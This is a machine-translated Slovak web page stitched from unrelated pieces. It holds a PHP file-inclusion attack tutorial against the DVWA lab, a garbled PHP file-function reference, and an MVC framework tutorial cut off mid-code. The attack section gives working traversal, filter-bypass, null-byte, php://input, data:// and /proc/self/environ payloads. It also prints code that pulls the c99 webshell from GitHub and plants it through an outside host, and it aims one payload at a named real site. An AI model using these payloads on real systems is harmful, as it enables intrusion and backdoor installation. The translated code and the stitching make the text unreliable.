Fiktívne zobrazenie súboru php. Súbor – Prečíta obsah súboru a vloží ho do poľa. Práca so súbormi na serveri

Niekedy sa vkladanie súboru nazýva inklúzia, niekedy sa považuje za súčasť vstrekovania PHP (vkladanie kódu). To nie je úplne pravda, pretože zraniteľné miesta vkladania súborov nemusia nevyhnutne súvisieť so spustením kódu.

Zraniteľnosť sa môže vyskytnúť pri používaní (v PHP) výrazov, ako sú:

  • vyžadovať_raz,
  • zahrnúť_raz,
  • zahŕňať,
  • vyžadovať

Každý z nich má malé nuansy, ale spoločné majú to, že do programu zahrnú súbor a spustia ho. Tieto výrazy môžu spôsobiť problémy, ak prejdú vstupom používateľa a program ho dostatočne nefiltruje.

Mimochodom, áno, sú to výrazy, nie funkcie. Nie je potrebné písať takto:

Vyžadovať("nejakýsúbor.php");

Výhodnejšia možnosť je:

Vyžadovať "somefile.php";

Ale toto je ústup, ktorý nemá nič spoločné so zraniteľnosťou.

Ak sú súbory zahrnuté pomocou výrazov require_once, include_once, include, require, potom môžeme povedať, že v rovnakom čase prebieha aj vstrekovanie kódu. Je však možné zahrnúť súbory bez spustenia kódu na serveri. Webová stránka napríklad mení svoj vzhľad na základe témy zvolenej používateľom. Názov tém zodpovedá názvu súborov HTML, ktoré sa čítajú na serveri. V tejto situácii, ak je požiadavka vytvorená tak, aby čítala súbor, ktorý na to nie je určený (napríklad súbor PHP), potom sa namiesto vykonania príkazov zobrazí zdrojový kód PHP.

Používateľ môže zadať vzdialený alebo lokálny súbor ako súbor zahrnutia. Na základe toho sa rozlišujú dve zodpovedajúce odrody:

  • vloženie lokálneho súboru
  • vzdialené vkladanie súborov

Nebezpečenstvo vzdialeného začlenenia je spustenie ľubovoľného kódu na zraniteľnom serveri. Toto sa zvyčajne používa pri infekciách zadných vrátok.

Nebezpečenstvo vkladania lokálnych súborov spočíva v tom, že používateľ môže zobraziť obsah súborov, na prezeranie ktorých nemá práva (zdrojové kódy programu, systémové súbory s nastaveniami a heslami). Pri lokálnom zahrnutí je tiež možné spustiť kód tretej strany (napríklad pri infekcii zadných vrátok), ak bol na server predtým nahraný súbor so škodlivým kódom, alebo bola použitá metóda otravy denníka alebo niektoré iné metódy.

Lokálne zahrnutie súborov nie je o nič menej nebezpečné ako zavedenie vzdialených súborov.

Využitie lokálneho vkladania súborov

Môžete si vyskúšať túto zraniteľnosť v Damn Vulnerable Web Application (DVWA). Používam Web Security Dojo, kde je už nainštalovaný DVWA.

Začnime na nízkej úrovni (nízka bezpečnosť DVWA).

Poďme na stránku Začlenenie súboru http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Ak sa hodnota podobná názvu súboru (file1.php, file2.php) odovzdá ako argument premennej, potom môžeme predpokladať, že sa používa include. Keďže prípona súboru je .php, súbor je s najväčšou pravdepodobnosťou spustený na serveri (t. j. je možné vloženie kódu) a nie len zobrazený na zobrazenie.

DVWA má stránku http://localhost/dvwa/about.php, je umiestnená o dve úrovne vyššie, skúsme si ju pozrieť takto: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ o.php

Áno, existuje miestna zraniteľnosť začlenenia. Pri zadávaní sa nefiltrujú prechody do vyšších adresárov (../), zoznam súborov na zaradenie nie je vyčerpávajúci (namiesto navrhovaného súboru*.php sme zvolili about.php).

Niekedy sa používajú zahrnuté súbory, ale adresy môžu vyzerať napríklad takto: http://localhost/dvwa/vulnerabilities/fi/?page=file1. V tomto prípade je možné do skriptu pridať príponu a skript vložiť súbor, ktorého názov sa nakoniec vytvorí v skripte. Zraniteľnosť v tejto forme je zvyčajne ťažké/nemožné zneužiť.

Ľudia často radi uvádzajú niečo také ako príklad využívania lokálneho začlenenia súborov:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Ako vidíme, podarilo sa. Ale keďže webové prehliadače ignorujú /r/n (znaky nového riadku), musíme kód otvoriť, aby boli položky čitateľné:

Bohužiaľ, v súbore /etc/passwd už dlho nie sú žiadne heslá.

Zo servera si môžete stiahnuť rôzne konfiguračné súbory, SSL certifikáty, v zásade akýkoľvek súbor, ktorý je otvorený na čítanie všetkým používateľom alebo pre ktorý má webový server dostatočné práva na čítanie:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Čo sa týka zdieľaných hostingov, niekedy je možné nahliadnuť do priečinkov iných ľudí (opäť, ak sú nesprávne nakonfigurované používateľské práva).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Úlohu komplikuje fakt, že potrebujeme poznať cestu k súboru.

Prevádzka vzdialeného vkladania súborov

PHP je veľmi flexibilný a vývojársky prívetivý programovací jazyk. Príkazy na vkladanie súborov a niektoré ďalšie dokonale rozpoznávajú a správne spracúvajú nielen lokálne súbory, ale aj adresy URL...

Skúsme namiesto názvu súboru napísať adresu URL stránky https://site/:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Pozrite sa, ako zaujímavo to dopadne:

Stalo sa nasledovné: interpret PHP dostal príkaz na zahrnutie súboru/stránky https://site/. Otvoril/stiahol príslušnú adresu a odoslal výsledný kód na spustenie ako program PHP. Keďže PHP vykoná iba kód obklopený príslušnými značkami (v tomto prípade tam nebol žiadny kód) a všetko ostatné vypíše tak, ako je, celá webová stránka sa vypíše tak, ako je.

Samozrejme, táto zraniteľnosť je pre nás zaujímavá nie preto, že by sme si cez jednu stránku mohli prezerať iné stránky.

  • Generovanie/nájdenie zdrojového kódu backdoor
  • Vytvoríme súbor, ktorý je z hľadiska PHP správny na spustenie na serveri, ktorý uloží zdrojový kód backdoor do súboru PHP
  • Uložte prijatý kód do TEXTového súboru
  • Nahrajte tento textový súbor na kontrolovaný server
  • Naše zadné vrátka ukladáme na zraniteľný server pomocou vzdialeného zahrnutia súboru
  • Slovo „text“ som zvýraznil z toho dôvodu, že na serveri pod našou kontrolou by mal byť textový súbor, ktorý by sa na našom serveri nemal spúšťať. Náš server potrebuje iba ukázať svoj obsah.

    Ak chcete vytvoriť zadné vrátka, môžete použiť Weevely, PhpSploit alebo si môžete vziať hotové riešenia. Tentoraz použijeme hotový.

    Premennej $backdoor priradím zdrojový kód backdooru, ktorý si stiahnem z Githubu. Potom pomocou funkcie file_put_contents uložím výsledný zdrojový kód do súboru c99unlimited.php.

    Kód, ktorý som umiestnil do textového súboru

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "hotovo!";

    Je dostupný na http://miloserdov.org/sec.txt

    Teraz pomocou vzdialeného zahrnutia nahrávame zadné vrátka na zraniteľný server.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Pozor na nápis hotovo!, zobrazuje ho skript, t.j. všetko sa asi podarilo.

    Keďže skript, ktorý obsahuje súbory, sa nachádza v adresári http://localhost/dvwa/vulnerabilities/fi/ a náš nový súbor so zadnými vrátkami by mal byť uložený s názvom c99unlimited.php, úplná adresa zadných vrátok na zraniteľný server by mal byť: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Kontrolujeme:

    Skvelé, teraz máme všetky funkcie, ktoré by správca webového servera mohol potrebovať... a tých, ktorí majú prístup k ich serveru.

    Pri lokálnom zaraďovaní súborov vynechajte filtrovanie

    Prejdime na strednú úroveň zabezpečenia (konfigurovateľná v DVWA Security).

    Ak sa pozrieme na zdrojový kód (tlačidlo Zobraziť zdrojový kód):

    potom uvidíme, že znaky ../ sú teraz filtrované. To nám zabráni presunúť sa do vyššieho adresára, ako je ten, v ktorom beží zraniteľný skript.

    Tie. nič nebude fungovať takto:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Zamyslime sa nad tým, ako v tomto prípade funguje filtrovanie? Povedzme, že slovo „zlé“ je filtrované a potom riadok ako

    dobré zlé dobré

    po filtrovaní to bude vyzerať takto:

    dobre dobre

    A ak vložíte takýto riadok

    zlý zlý xo

    potom po filtrovaní („zlé“ bude odstránené) sa ukáže

    Zle

    Do ../ vložíme ../ do stredu opäť, ukáže sa ..././

    Skúsme túto adresu http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

    Fungovalo to!

    Ďalším riešením by mohlo byť kódovanie znakov do hexadecimálneho kódovania, príklad tohto riadku:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    "../" možno nahradiť "%2E%2E%2f".

    Praktizuje sa aj dvojité hex kódovanie, v ktorom je „../“ nahradené „%252E%252E%252F“

    Lokálne zahrnutie súborov pri pridávaní rozšírenia do skriptu

    Ak kód vrátane súborov vyzerá takto:

    Tie. Ak je k akémukoľvek vstupu používateľa pridané .php alebo nejaké iné rozšírenie, neumožňuje to vytvoriť požiadavku tak, aby došlo k útoku.

    Existuje niekoľko techník, ktoré sú navrhnuté na zrušenie rozšírenia, ale možno ich považovať za zastarané, pretože fungujú na PHP 5.3, a dokonca ani na všetkých verziách. Správcovia webových serverov sú však klinicky konzervatívni a radšej sa ničoho nedotýkajú, ak to funguje. Tie. Existuje šanca, že narazíte na server s veľmi starou verziou PHP a mali by ste si byť vedomí týchto techník.

    Použitie nulového bajtu %00 (nulový bajt)

    Na koniec požiadavky sa pridá nulový bajt, aby sa rozšírenie ignorovalo:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    Druhá metóda sa nazýva útok prerezávania cesty. Pointa je, že PHP skráti cesty dlhšie ako 4096 bajtov. V tomto prípade PHP otvorí súbor správne, aj keď sú na konci jeho názvu lomky a bodky. Ak zadáte ako parameter niečo ako?param1=../../../../etc/passwd/./././././ (kde ./ sa opakuje tisíckrát), potom koncový súbor spolu s príponou (ktorú skript pridal, v dôsledku čoho názov súboru obsahuje/../../../../etc/passwd/./././././ .php) sa zahodí. A názov súboru bude include/../../../../etc/passwd/./././././. A keďže PHP nie je zmätené koncovými lomkami a ./ na konci súboru, jednoducho ich ignoruje, celkovo PHP otvorí súbor pozdĺž cesty zahŕňa/../../../../etc/ passwd.

    Obídenie filtrovania pre vzdialené vkladanie súborov

    Ako sme už videli v zdrojovom kóde, stredná úroveň zabezpečenia filtruje aj http:// a https://.

    Teraz http://localhost/dvwa/vulnerabilities/fi/?. Použijeme presne rovnakú techniku ​​ako na obídenie filtrovania s lokálnym zahrnutím. Vygenerovaná žiadosť:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    A tiež si všimnite, že to nie je filtrované, napríklad ftp, t.j. Táto možnosť by fungovala bez akýchkoľvek trikov:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    Získanie zdrojového kódu PHP skriptov pri zahrnutí súborov z php://filter

    Tento trik nevyžaduje zahrnutie vzdialeného súboru. Použije sa druh meta wrapperu php://filter.

    Povedzme, že chceme vidieť zdrojový kód súboru file1.php, potom pre našu situáciu bude požiadavka zložená takto:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Pozor na nezmyselný reťazec písmen a číslic – toto je zdrojový kód súboru file1.php v kódovaní base64. Keďže ide o base64, sú podporované aj binárne súbory.

    Poďme dekódovať súbor:

    Vzdialené spustenie kódu pomocou php://input

    Toto nie je ako vkladanie súborov a opäť nevyžaduje nahrávanie súborov.

    Na pomoc mi poslúži rozšírenie FireFox, môžete ho použiť aj vy alebo akýkoľvek iný program (napríklad curl), ktorý dokáže prenášať dáta metódou POST.

    php://input má prístup k nespracovanému telu HTTP požiadavky, aby ste pochopili, čo include("php://input") robí, otvorte stránku

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    A v tele požiadavky odošlite správny PHP kód (napríklad metódou POST). To vám umožní vykonávať akúkoľvek funkciu povolenú na vzdialenom serveri!

    Vzdialené spustenie kódu s data://

    PHP navyše podporuje schému URL data:// Kód môžete umiestniť priamo do parametra GET! Nasledujúci test nevyžaduje žiadne špeciálne nástroje, iba bežný prehliadač na vykonanie útoku.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Niektoré brány firewall webových aplikácií si môžu všimnúť podozrivý reťazec v adrese URL a zablokovať škodlivú požiadavku. Existuje však spôsob, ako zašifrovať reťazec s kódovaním aspoň base64:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Vykonajte ľubovoľné príkazy z /proc/self/environ

    /proc/self/environ je procesné variabilné ukladanie. Ak má proces Apache dostatočné práva na prístup k nemu, potom pri otvorení webovej stránky, ktorá obsahuje zahrnutie s podobnou adresou URL,

    www.website.com/view.php?page=../../../../../proc/self/environ

    vypíše niečo ako

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0,1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Verzia/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=.index.php %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx,6x [chránený e-mailom] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Venujte pozornosť HTTP_USER_AGENT. Namiesto toho môžete nahradiť správny PHP kód, ktorý sa spustí na vzdialenom serveri.

    Leptanie a vstrekovanie protokolov pri lokálnom zahrnutí súborov

    Bohužiaľ, táto metóda už nefunguje na najnovších verziách Apache.

    Jeho podstata spočíva v tom, že kód útočníka je vložený do protokolov webového servera. Dá sa to urobiť nahradením User-Agent , alebo dokonca jednoduchým odovzdaním parametra GET.

    Statická injekcia vzdialeného súboru

    Príklady statiky zahŕňajú:

    Statické začlenenie môžete použiť vo veľmi exotických situáciách. Na vloženie škodlivého kódu je potrebné vykonať útok typu man-in-the-middle medzi dvoma servermi: jeden je hostiteľom webovej aplikácie pomocou zahrnutia a druhý je hostiteľom súboru použitého na zahrnutie.

    PHP file_exists("test.txt")//Existuje súbor? filesize("test.txt");//Zistite veľkosť súboru //Vráti sa časová pečiatka: fileatime("test.txt");//Dátum posledného prístupu k súboru //date("d M Y" , $atime); filemtime("test.txt");//Dátum úpravy súboru //dátum("d M Y", $mtime); filectime("test.txt");//Dátum vytvorenia súboru (Windows) //dátum("d M Y", $ctime); Súbory: prevádzkové režimy PHP resource fopen (reťazec názov súboru, režim reťazca) // zdroj - v prípade úspechu vráti ukazovateľ na súbor alebo v prípade chyby FALSE Prevádzkový režim Popisr r+ w w+ A a+ b
    otvoriť súbor len na čítanie;
    otvorte súbor na čítanie a zápis;
    otvorte súbor iba na zápis. Ak existuje, aktuálny obsah súboru sa zničí. Aktuálna pozícia je nastavená na začiatok;
    otvorte súbor na čítanie a zápis. Ak existuje, aktuálny obsah súboru sa zničí. Aktuálna pozícia je nastavená na začiatok;
    otvorte súbor na zápis. Aktuálna pozícia je nastavená na koniec súboru;
    otvorte súbor na čítanie a zápis. Aktuálna pozícia je nastavená na koniec súboru;
    spracovať binárny súbor. Tento príznak sa vyžaduje pri práci s binárnymi súbormi v systéme Windows.
    Otváranie a zatváranie súborov v PHP PHP $fi = fopen("test.html", "w+") or die("Error"); //Príklady $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Zavrieť fclose($fi) Čítanie súborov v PHP PHP //Čítanie súboru fread(int fi, dĺžka int) $str = fread($fi, 5); // Prečítajte si prvých 5 znakov echo $str; // odkedy sa kurzor posunul $str = fread($fi, 12); // Prečítajte si nasledujúcich 12 znakov echo $str; fgets(int fi[, dĺžka int]) // Čítanie riadku zo súboru fgetss(int fi, dĺžka int [, povolený reťazec]) // Čítanie riadku zo súboru a zrušenie značiek HTML // povolený reťazec - značky, ktoré treba nechať fgetc(int fi) //Prečíta znak zo súboru

    Spočiatku sa zápis uskutoční na začiatku súboru prepísaním existujúcich údajov, ak nejaké existujú. Ak teda potrebujete niečo zapísať na koniec súboru, musíte si nastaviť vhodný režim čítania, napríklad a+ .

    Manipulácia s kurzorom v súboroch PHP PHP int fseek(int fi, int offset [, int odkiaľ]) //Nastavenie kurzora // int fi - ukazovateľ na súbor //offset - počet znakov, ktoré sa majú presunúť. //odkiaľ: //SEEK_SET - pohyb začína od začiatku súboru; //SEEK_CUR - pohyb začína od aktuálnej pozície; //SEEK_END - pohyb začína od konca súboru. fseek($fi, -10, SEEK_END); //Prečítajte posledných 10 znakov $s = fread($fi, 10); $pos = ftell($fi); // Zistenie aktuálnej pozície pretáčanie ($f) // reset kurzora bool feof($f) // koniec súboru Priama práca so súbormi (údajmi) v PHP súbor PHP poľa (súbor súboru reťazca) // Získanie obsahu súboru vo forme poľa // Ďalšia možnosť priamej práce s údajmi file_get_contents(reťazec názov_súboru) //Čítanie (celý súbor dostaneme na jeden riadok) //Zápis do súboru (pôvodne prepísaný) file_put_contents(reťazec súboru , zmiešané údaje[,int flag]); //FILE_APPEND // Zápis na koniec súboru: file_put_contents("test.txt", "data", FILE_APPEND); //Ak napíšete pole, $array = array("I", "live"); file_put_contents("test.txt",$pole); //potom dostaneme "Ilive" Správa súborov v php PHP copy(string source, string destination); // Kopírovanie súboru rename(str oldname, str newname); // Premenovanie súboru unlink(string filename); // Odstránenie súboru Nahrávanie súborov na server PHP // Nastavenia PHP.ini file_uploads (on|off) // povolenie alebo zakázanie nahrávania súborov upload_tmp_dir // dočasný priečinok pre nahrávané súbory. predvolene dočasný priečinok upload_max_filesize (predvolená hodnota = 2 Mb) // max. veľkosť nahrávaného súboru post_max_size // celková veľkosť odoslaného formulára (musí byť väčšia ako upload_max_filesize) //Jednoduché nahrávanie HTML Pracujeme so súbormi na serveri PHP //Prijímanie údajov $tmp = $_FILES["userfile"][" tmp_name"]; $name = $_FILES["userfile"]["name"]; //Presun súboru move_uploaded_file($tmp, meno); move_uploaded_file($tmp, "upload/".name); // presmeruje súbor do priečinka na nahrávanie // relatívne k aktuálnemu súboru // Čo je v poli $_FILES $_FILES["userfile"]["name"] // názov súboru, napríklad test.html $_FILES[ "userfile"][" tmp_name"] // názov dočasného súboru (cesta) $_FILES["userfile"]["size"] // veľkosť súboru $_FILES["userfile"]["type"] // typ súboru $ _FILES["userfile"] ["error"] // 0 - žiadne chyby, počet - áno Mnoho ľudí začína písať projekt, aby pracovali s jednou úlohou, čo neznamená, že môže prerásť do systému správy viacerých používateľov, napr. , obsah alebo nedajbože produkciu. A všetko sa zdá byť skvelé a cool, všetko funguje, kým nezačnete chápať, že napísaný kód pozostáva výlučne z bariel a pevného kódu. Kód je zmiešaný s rozložením, otázkami a barličkami, niekedy dokonca nečitateľný. Vzniká naliehavý problém: pri pridávaní nových funkcií sa musíte veľmi dlho zaoberať týmto kódom a pamätať si, „čo tam bolo napísané? a preklínaj sa v minulosti.

    Možno ste už počuli o dizajnových vzoroch a dokonca ste listovali v týchto úžasných knihách:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides „Objektovo orientované dizajnérske techniky. Dizajnové vzory";
    • M. Fowler "Architecture of Enterprise Software Applications."
    A mnohí, neohrození obrovskými manuálmi a dokumentáciou, sa pokúsili študovať ktorýkoľvek z moderných rámcov a zoči-voči zložitosti chápania (kvôli prítomnosti mnohých architektonických konceptov dômyselne prepojených) odložili štúdium a používanie moderných nástrojov v úkryt."

    Tento článok bude užitočný predovšetkým pre začiatočníkov. V každom prípade dúfam, že za pár hodín budete môcť získať predstavu o implementácii vzoru MVC, ktorý je základom všetkých moderných webových rámcov, a tiež získať „potravu“ na ďalšie úvahy o tom, „ako urob to." Na konci článku je výber užitočných odkazov, ktoré vám tiež pomôžu pochopiť, z čoho sa skladajú webové rámce (okrem MVC) a ako fungujú.

    Skúsení PHP programátori v tomto článku pravdepodobne nenájdu pre seba niečo nové, ale ich komentáre a komentáre k hlavnému textu by boli veľmi užitočné! Pretože Bez teórie je prax nemožná a bez praxe je teória zbytočná, potom bude najskôr trocha teórie a potom prejdeme k praxi. Ak ste už oboznámení s konceptom MVC, môžete preskočiť časť teórie a prejsť rovno do praxe.

    1. Teória Vzor MVC popisuje jednoduchý spôsob štruktúrovania aplikácie, ktorej účelom je oddeliť obchodnú logiku od používateľského rozhrania. Vďaka tomu je možné aplikáciu jednoduchšie škálovať, testovať, udržiavať a samozrejme implementovať.

    Pozrime sa na koncepčný diagram vzoru MVC (podľa môjho názoru je to najúspešnejší diagram, aký som videl):

    V architektúre MVC model poskytuje údaje a pravidlá obchodnej logiky, pohľad je zodpovedný za používateľské rozhranie a radič zabezpečuje interakciu medzi modelom a pohľadom.

    Typický tok aplikácie MVC možno opísať takto:

  • Keď používateľ navštívi webový zdroj, inicializačný skript vytvorí inštanciu aplikácie a spustí ju na vykonanie.
    Zobrazí sa napríklad pohľad na hlavnú stránku lokality.
  • Aplikácia dostane požiadavku od používateľa a určí požadovaný ovládač a akciu. V prípade hlavnej stránky sa vykoná predvolená akcia ( index).
  • Aplikácia vytvorí inštanciu ovládača a spustí metódu akcie,
    ktorý napríklad obsahuje modelové volania, ktoré čítajú informácie z databázy.
  • Potom akcia vytvorí pohľad s údajmi získanými z modelu a výsledok zobrazí používateľovi.
  • Model – obsahuje obchodnú logiku aplikácie a zahŕňa metódy pre načítanie (môžu to byť metódy ORM), spracovanie (napríklad pravidlá overovania) a poskytovanie špecifických údajov, čo je často veľmi hrubé, čo je celkom normálne.
    Model by nemal priamo interagovať s používateľom. Všetky premenné súvisiace s požiadavkou užívateľa musia byť spracované v regulátore.
    Model by nemal generovať HTML alebo iný zobrazovaný kód, ktorý sa môže meniť v závislosti od potrieb používateľa. Takýto kód by sa mal spracovať v zobrazeniach.
    Rovnaký model, napríklad: model autentifikácie používateľa možno použiť v používateľskej aj administratívnej časti aplikácie. V tomto prípade môžete presunúť všeobecný kód do samostatnej triedy a dediť z nej, pričom v jeho potomkoch definujete metódy špecifické pre podaplikáciu.

    View – slúži na špecifikáciu externého zobrazenia údajov prijatých z regulátora a modelu.
    Zobrazenia obsahujú značky HTML a malé vložky kódu PHP na prechádzanie, formátovanie a zobrazovanie údajov.
    Nemali by pristupovať priamo k databáze. Toto by mali modelky robiť.
    Nemal by pracovať s údajmi získanými na základe požiadavky používateľa. Túto úlohu musí vykonať kontrolór.
    Môže priamo pristupovať k vlastnostiam a metódam regulátora alebo modelov na získanie údajov pripravených na výstup.
    Pohľady sa zvyčajne delia na spoločnú šablónu, ktorá obsahuje označenie spoločné pre všetky strany (napríklad hlavička a päta) a časti šablóny, ktoré sa používajú na zobrazenie výstupu údajov z modelu alebo zobrazenie formulárov na zadávanie údajov.

    Ovládač je lepidlo, ktoré spája modely, pohľady a ďalšie komponenty do fungujúcej aplikácie. Prevádzkovateľ je zodpovedný za spracovanie požiadaviek používateľov. Radič by nemal obsahovať SQL dotazy. Je lepšie ich držať v modeloch. Ovládač by nemal obsahovať HTML alebo iné značky. Oplatí sa to priblížiť.
    V dobre navrhnutej aplikácii MVC sú ovládače zvyčajne veľmi tenké a obsahujú len niekoľko desiatok riadkov kódu. To isté sa nedá povedať o Stupid Fat Controllers (SFC) v CMS Joomla. Logika ovládača je celkom typická a väčšina z nej je prenesená do základných tried.
    Modely sú naopak veľmi hrubé a obsahujú väčšinu kódu súvisiaceho so spracovaním údajov, pretože dátová štruktúra a obchodná logika v nej obsiahnuté sú zvyčajne celkom špecifické pre konkrétnu aplikáciu.

    1.1. Front Controller a Page Controller Vo väčšine prípadov k interakcii používateľa s webovou aplikáciou dochádza kliknutím na odkazy. Pozrite sa teraz na panel s adresou vášho prehliadača – tento text ste dostali z tohto odkazu. Iné odkazy, ako napríklad odkazy na pravej strane tejto stránky, vám poskytnú iný obsah. Odkaz teda predstavuje konkrétny príkaz do webovej aplikácie.

    Dúfam, že ste si už všimli, že rôzne stránky môžu mať úplne odlišné formáty na zostavenie panela s adresou. Každý formát môže zobraziť architektúru webovej aplikácie. Aj keď to nie je vždy tak, vo väčšine prípadov ide o jasný fakt.

    Uvažujme o dvoch možnostiach panela s adresou, ktoré zobrazujú nejaký text a používateľský profil.

    Prvá možnosť:

  • www.example.com/clanok.php?id=3
  • www.example.com/user.php?id=4
  • Tu je každý skript zodpovedný za vykonanie konkrétneho príkazu.

    Druhá možnosť:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
  • A tu sa všetky volania vyskytujú v jednom skripte index.php.

    Viacdotykový prístup môžete vidieť na fórach phpBB. Fórum sa prezerá cez skript viewforum.php, téma sa prezerá cez viewtopic.php atď. Druhý prístup, prístupný cez jeden fyzický skriptový súbor, je možné vidieť v mojom obľúbenom CMS MODX, kde všetky volania idú cez index.php.

    Tieto dva prístupy sú úplne odlišné. Prvý je typický pre vzor Page Controller a druhý prístup je implementovaný vzorom Front Controller. Ovládač stránky je vhodný pre stránky s pomerne jednoduchou logikou. Kontrolér požiadaviek zase zjednocuje všetky činnosti spracovania požiadaviek na jednom mieste, čo mu dáva ďalšie možnosti, ktoré vám umožňujú implementovať zložitejšie úlohy, než ktoré zvyčajne rieši kontrolór stránky. Nebudem zachádzať do detailov implementácie page controllera, ale poviem len, že v praktickej časti sa bude vyvíjať request controller (niečo podobné).

    1.2. Smerovanie URL Smerovanie URL vám umožňuje nakonfigurovať vašu aplikáciu tak, aby prijímala požiadavky z URL, ktoré nezodpovedajú skutočným súborom aplikácie, a aby používala CNC, ktoré sú sémanticky zmysluplné pre používateľov a preferované pre optimalizáciu pre vyhľadávače.

    Napríklad pre bežnú stránku zobrazujúcu kontaktný formulár môže adresa URL vyzerať takto:
    http://www.example.com/contacts.php?action=feedback

    Približný kód spracovania v tomto prípade:
    switch ($_GET ["action" ]) ( case "about" : required_once ("about.php" ); // koniec stránky "O nás" ; case "contacts" : required_once ("contacts.php" ); // zalomenie stránky "Kontakty" ; veľkosť písmen "spätná väzba" : require_once ("feedback.php" ); // prerušenie stránky "Spätná väzba" ; predvolená hodnota : require_once ("page404.php" ); // prerušenie stránky "404"; )
    Myslím, že to už robil takmer každý.

    Pomocou nástroja na smerovanie adries URL môžete nakonfigurovať svoju aplikáciu tak, aby prijímala požiadavky, ako je táto, na zobrazenie rovnakých informácií:
    http://www.example.com/contacts/feedback

    Kontakty tu predstavujú ovládač a spätná väzba je metóda ovládača kontaktov, ktorá zobrazuje formulár spätnej väzby atď. K tejto problematike sa ešte vrátime v praktickej časti.

    Je tiež potrebné vedieť, že mnohé smerovače webových rámcov umožňujú vytvárať vlastné trasy URL (uveďte, čo každá časť adresy URL znamená) a pravidlá ich spracovania.
    Teraz máme dostatočné teoretické znalosti na to, aby sme prešli do praxe.

    2. Cvičenie Najprv vytvorte nasledujúcu štruktúru súborov a priečinkov:


    Pri pohľade do budúcnosti poviem, že základné triedy Model, View a Controller budú uložené v hlavnom priečinku.
    Ich deti budú uložené v adresároch ovládačov, modelov a pohľadov. Súbor index.php je vstupným bodom do aplikácie. Súbor bootstrap.php spustí načítanie aplikácie, pripojenie všetkých potrebných modulov atď.

    Pôjdeme postupne; Otvorme súbor index.php a naplňte ho nasledujúcim kódom:
    ini_set("display_errors" , 1); require_once "application/bootstrap.php" ;
    Nemali by tu byť žiadne otázky.

    Ďalej okamžite prejdime na súbor bootstrap.php:
    require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Trasa::start(); //spustite router
    Prvé tri riadky budú obsahovať momentálne neexistujúce súbory jadra. Posledné riadky obsahujú súbor s triedou smerovača a spúšťajú ho na vykonanie volaním metódy statického štartu.

    2.1. Implementácia smerovača URL Nateraz odbočme od implementácie vzoru MVC a zamerajme sa na smerovanie. Prvým krokom, ktorý musíme urobiť, je napísať nasledujúci kód do .htaccess:
    RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Tento kód presmeruje celé spracovanie stránky na index.php, čo je to, čo potrebujeme. Pamätáte si, že v prvej časti sme hovorili o Front Controller?!

    Smerovanie umiestnime do samostatného súboru route.php v adresári core. V tomto súbore popíšeme triedu Route, ktorá bude spúšťať metódy radiča, ktoré zase vygenerujú zobrazenie stránky.

    Obsah súboru route.php

    class Route ( statická funkcia štart () ( // ovládač a predvolená akcia $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // získať názov ovládača if (!empty ($routes )) ( $controller_name = $routes ; ) // získajte názov akcie if (!empty ($routes )) ( $action_name = $routes ; ) // pridajte predpony $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // pripojenie súboru s triedou modelu (nemusí existovať súbor modelu) $model_file = strtolower ($model_name ). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) ( include "application/models/" .$model_file ; ) // pripojenie súboru s triedou ovládača $controller_file = strtolower ($name_controller).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) ( include 